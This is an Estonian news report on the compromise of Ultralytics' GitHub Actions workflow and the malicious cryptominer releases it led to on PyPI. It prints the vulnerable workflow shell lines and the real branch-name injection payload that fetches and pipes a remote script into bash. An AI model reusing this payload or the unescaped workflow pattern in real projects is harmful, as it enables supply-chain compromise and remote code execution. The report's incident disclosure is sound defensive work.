Ründajad suutsid käivitada koodi GitHub Actionsi käitlejaga Ultralyticsi Pythoni teegi repositooriumis, mida kasutatakse arvutinägemise probleemide, näiteks objektide tuvastamise ja piltide segmenteerimise lahendamiseks. Pärast repositooriumile juurdepääsu saamist avaldasid ründajad PyPI kataloogis mitu uut Ultralyticsi väljalaset, mis sisaldasid pahatahtlikke muudatusi krüptovaluuta kaevandamiseks. Viimase kuu jooksul on Ultralyticsi teeki PyPI kataloogist alla laaditud enam kui 6.4 miljonit korda.
Repositooriumi kompromiteerimiseks kasutati ultralytics-actions paketis olevat haavatavust, mida kasutatakse käitlejate automaatseks käivitamiseks teatud toimingute tegemisel repositooriumis GitHub Actions mehhanismi abil. Ultralyticsi projektis seoti haavatav käitleja pull_request_target sündmusega ja seda kutsuti välja uute pull-taotluste saabumisel. Täpsemalt, saadetud pull-taotluste koodi vormindamiseks kutsuti format.yml käitlejat ja käivitati action.yml faili "run" osas määratud kood, mis sisaldas asendusmustritega shellikäsklusi: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"
Seega asendati pull-taotluses mainitud Giti haru nimi shellikäskudesse ilma korraliku paomärgita. Tähelepanuväärne on see, et augustis parandati sarnane haavatavus, mis oli seotud välise väärtuse kasutamisega echo funktsioonis ultralytics-actions paketis: echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
GitHubi toimingute käitleja kontekstis oma koodi täitmise korraldamiseks saatsid ründajad ultralyticsi repositooriumile pull-requesti, määrates haru nime: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Seega, kui saadi pull-päring, lisati ründajate määratud string koodi „$(…)”, mis pärast käitleja järgnevat käivitamist viis koodi „curl -sSfL raw.githubusercontent.com/…/file.sh | bash” käivitamiseni.

GitHub Actionsi kontekstis koodi käivitades saab jäädvustada repositooriumi juurdepääsutokeni ja muid tundlikke andmeid. Pole veel täpselt teada, kuidas ründajatel õnnestus luua väljalase, saades võimaluse oma koodi GitHub Actionsis käivitada, kuid eeldatakse, et see oli võimalik tänu publish.yml käitleja muudatusele (ründajad eemaldasid kontrolli kontolt, millel on lubatud avaldada väljaandeid PyPI-s) ja GitHub Actionsi vahemälu mürgitamise tehnika kasutamisele oma andmete asendamiseks väljalaskega.
Ründajad avaldasid Ultralytics 8.3.41 esimese pahatahtliku versiooni PyPI-s 4. detsembril kell 23:51 (MSK) ja eemaldasid selle järgmisel päeval kell 12:15. Kell 15:47 postitati teine versioon, 8.3.42, mis eemaldati kell 16:47. Seega olid pahatahtlikud versioonid allalaadimiseks saadaval kokku umbes 13 tundi (PyPI registreerib umbes 250 000 ultralytics teegi allalaadimist päevas). Versioonid 8.3.41 ja 8.3.42 sisaldasid koodi, mis laaditi alla väliselt... server XMRig komponent krüptovaluuta kaevandamiseks.
Projekti arendajad lahendasid probleemi ja lõid parandusversioonid 8.3.43 ja 8.3.44, kuid kaks päeva hiljem viidi läbi uus rünnak, mille käigus avaldasid ründajad täna kell 04:41 ja 05:27 (MSK) veel kaks pahatahtlikku versiooni - 8.3.45 ja 8.3.46, mis sisaldavad erinevat kaevandamiskoodi. Kuni uurimise lõpuni soovitatakse kasutajatel uute versioonide installimisega oodata ja parandada versiooni 8.3.44 sõltuvustes.
Allikas: opennet.ru
